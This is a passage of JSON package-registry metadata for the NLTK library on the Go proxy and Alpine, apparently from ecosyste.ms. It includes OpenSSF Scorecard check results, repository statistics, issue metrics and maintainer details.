process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.568Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":5.495819126790633,"dependent_packages_count":5.150242913479554,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":5.323031020135094},"purl":"pkg:golang/github.com/nltk/nltk","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/nltk/nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/nltk/nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/nltk/nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnltk%2Fnltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnltk%2Fnltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnltk%2Fnltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnltk%2Fnltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnltk%2Fnltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnltk%2Fnltk/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2167447,"maintainers_count":0,"namespaces_count":792747,"keywords_count":113213,"github":"golang","metadata":{"funded_packages_count":53976},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-06-10T05:03:23.672Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":13009523,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2025-10-03T02:20:38.000Z","latest_release_published_at":"2025-10-03T02:20:38.000Z","latest_release_number":"3.9.2-r0","last_synced_at":"2026-04-12T05:07:26.001Z","created_at":"2026-01-31T01:00:47.496Z","updated_at":"2026-04-12T05:07:26.001Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":"wpsinatra@gmail.com","url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":513,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","role":null,"created_at":"2026-03-04T02:17:18.196Z","updated_at":"2026-03-04T02:17:18.196Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27574,"maintainers_count":428,"namespaces_count":2,"keywords_count":181,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":104},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-06-10T05:17:06.512Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":11766056,"name":"py3-nltk-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-nltk","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_number":"3.9.1-r0","last_synced_at":"2026-03-27T14:08:48.591Z","created_at":"2025-06-07T18:36:04.683Z","updated_at":"2026-03-27T14:08:48.591Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-nltk-pyc","install_command":"apk add py3-nltk-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.580Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-nltk-pyc/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":433,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","role":null,"created_at":"2025-06-08T15:42:05.983Z","updated_at":"2025-06-08T15:42:05.983Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26322,"maintainers_count":422,"namespaces_count":2,"keywords_count":4641,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1728},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-06-10T05:18:29.151Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":7779359,"name":"py3-nltk-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-nltk","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-20T10:35:44.000Z","latest_release_published_at":"2023-04-20T10:35:44.000Z","latest_release_number":"3.8.1-r1","last_synced_at":"2026-03-08T20:46:37.846Z","created_at":"2023-05-22T14:29:05.189Z","updated_at":"2026-03-08T20:46:37.847Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.18/community/x86_64/py3-nltk-pyc","install_command":"apk add py3-nltk-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"